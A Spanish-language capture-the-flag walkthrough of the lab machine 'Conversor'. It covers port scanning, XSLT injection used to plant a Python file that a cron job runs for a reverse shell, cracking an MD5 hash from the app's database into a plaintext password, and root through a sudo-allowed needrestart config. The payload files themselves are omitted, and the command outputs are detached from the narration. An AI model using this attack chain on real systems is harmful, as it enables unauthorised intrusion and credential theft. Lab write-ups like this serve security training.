Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 01:32 PDT
Nmap scan report for 10.10.11.92
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.93 seconds
Veremos dos puertos interesantes, pero el que mas nos interesa es el puerto 80 que aloja una pagina web y por lo que vemos nos redirige a un dominio llamado conversor.htb el cual tendremos que añadir a nuestro archivo hosts.
Lo guardamos y entramos dentro de dicho dominio.
Info:
Veremos un login bastante interesante y en el mismo tambien vemos un boton llamado register, vamos a probar a registrar una cuenta y entrar dentro con dichas credenciales.
Una vez creada nuestra cuenta veremos lo siguiente en la pagina:
Veremos que podremos subir archivos, pero nos esta especificando que solamente con el formato XML y XSLT, tendremos que subir los 2 archivos uno apoyandose en el otro, con esto nos da una pista de que podriamos realizar un XSLT Injection o Server-Side XSLT Processing, por lo que vamos a probar de primeras a ver que esta haciendo por dentro.
test.xml
Con este primero archivos referenciamos al test.xsl para que lo cargue.
test.xsl
En este caso lo que hacemos es que muestre en la pagina como esta funcionando por dentro y que esta haciendo.
Si subimos esto a la pagina veremos que se sube de forma correcta y nos generara un .html en el cual si entramos veremos unicamente esto:
Vemos que esta funcionando y nos esta mostrando que esta usando una libreria super famosa de linux de la biblioteca C, que puede tener algunas funciones interesantes.
Si probamos a escribir un archivo en /tmp de esta forma:
Lo guardamos, subimos los dos archivos y veremos que funciona, ya que si entramos al HTML generado veremos lo siguiente:
Ahora sabiendo esto podremos probar a realizar otras funciones mas interesantes, si probamos en la ruta /var/www/conversor.htb/ tambien funcionara ya que es la ruta tipica de apache2 cuando se crea un dominio.
Escalate user www-data
Gobuster
Vamos a realizar un poco de fuzzing a ver que vemos.
Info:
Veremos varios directorios interesantes, pero sin mas, veremos about, si vamos dentro de el...
Veremos que muestra los trabajadores en el codigo fuente de la pagina, pero algo interesante, veremos abajo un boton llamado Download Source Code, si le damos nos descarga un .tar.gz del codigo fuente de la pagina (La estructura de la pagina).
Vamos a descomprimirlo de esta forma:
Si listamos la carpeta veremos esto:
Vemos que la estructura contiene varios directorios interesantes entre ellos scripts y vemos que la estructura es de un servidor de python3Flask, inspeccionando el codigo de app.py veremos que realmente hay una vulnerabilidad de la que comente antes.
Tambien veremos una ruta de DB que es /var/www/conversor.htb/instance/users.db por lo que esto nos interesara mas adelante seguramente.
Pero el archivo mas interesante que vemos es install.md:
Vemos que en la carpeta scripts hay un crontab que ejecuta cualquier archivo de python con .py que este dentro, por lo que podremos depositar atraves de la vulnerabilidad XLST Injection un archivo de python3 para que se ejecute una shell.
test.xsl
Antes de subir este archivo, vamos a ponernos a la escucha:
Ahora si subimos el archivo y accedemos al HTML que nos ha generado, veremos una pantalla en blanco, pero si volvemos a donde tenemos la escucha y esperamos unos minutos, veremos lo siguiente:
Veremos que ha funcionado, por lo que vamos a sanitizar la shell (TTY).
Sanitización de shell (TTY)
Escalate user
Recordemos que antes en el app.py vimos que apuntaba a un .db en la siguiente ruta el cual vamos a leer de esta forma:
Info:
Vamos a listar las tablas que haya:
Info:
Vamos a ver la informacion de la tabla users de esta forma:
Info:
Vemos interesante el usuario llamado fismathack, es el que nos interesa ya que si listamos el /etc/passwd:
Info:
Vamos a intentar crackear dicha contraseña a ver si fuera la misma que la del usuario a nivel de sistema.
hash
Ahora vamos a probar a crackearlo...
Info:
Veremos que ha funcionado, ahora si probamos la contraseña con el usuario...
Metemos como contraseña Keepmesafeandwarm...
Veremos que ha funcionado, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar como el usuario root el binario needrestart, por lo que vamos a ver que hace dicho binario.
Si listamos el help del binario, veremos que con el -c podremos cargar una configuracion personalizada, vamos a probar esto:
Info:
Ahora si listamos el directorio /tmp veremos que funciono:
Info:
Por lo que vamos a realizar lo siguiente:
Antes de ejecutarlo nos pondremos a la escucha:
Ahora si ejecutamos lo siguiente:
Esto se quedara pensando, pero si volvemos a donde tenemos la escucha, veremos lo siguiente:
Vemos que ha funcionado y seremos root, por lo que leeremos la flag de root.
mv source_code.tar.gz source_code.tar
tar -xf source_code.tar
total 4044
drwxr-xr-x 7 root root 4096 Oct 26 02:48 .
drwxr-xr-x 8 kali kali 4096 Oct 26 01:31 ..
-rwxr-x--- 1 www-data www-data 4461 Aug 14 13:47 app.py
-rwxr-x--- 1 www-data www-data 92 Jul 30 21:00 app.wsgi
-rwxr-x--- 1 www-data www-data 528 Aug 14 13:52 install.md
drwxr-x--- 2 www-data www-data 4096 Aug 14 13:45 instance
drwxr-x--- 2 www-data www-data 4096 Aug 14 13:43 scripts
drwxr-x--- 3 www-data www-data 4096 Aug 15 17:03 static
drwxr-x--- 2 www-data www-data 4096 Aug 15 18:17 templates
drwxr-x--- 2 www-data www-data 4096 Aug 14 13:43 uploads
cat install.md
To deploy Conversor, we can extract the compressed file:
"""
tar -xvf source_code.tar.gz
"""
We install flask:
"""
pip3 install flask
"""
We can run the app.py file:
"""
python3 app.py
"""
You can also run it with Apache using the app.wsgi file.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
listening on [any] 7777 ...
connect to [10.10.14.220] from (UNKNOWN) [10.10.11.92] 53128
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
cd /var/www/conversor.htb/instance/
sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite>
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Keepmesafeandwarm (fismathack)
1g 0:00:00:00 DONE (2025-10-26 03:04) 2.272g/s 24938Kp/s 24938Kc/s 24938KC/s Keiser01..Keepers137
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
Scanning processes...
Scanning candidates...
Scanning linux images...
Running kernel seems to be up-to-date.
Restarting services...
systemctl restart cron.service
No containers need to be restarted.
User sessions running outdated binaries:
fismathack @ session #302: WVXwB[43675]
fismathack @ session #403: zAgpV[45532]
No VM guests are running outdated hypervisor (qemu) binaries on this host.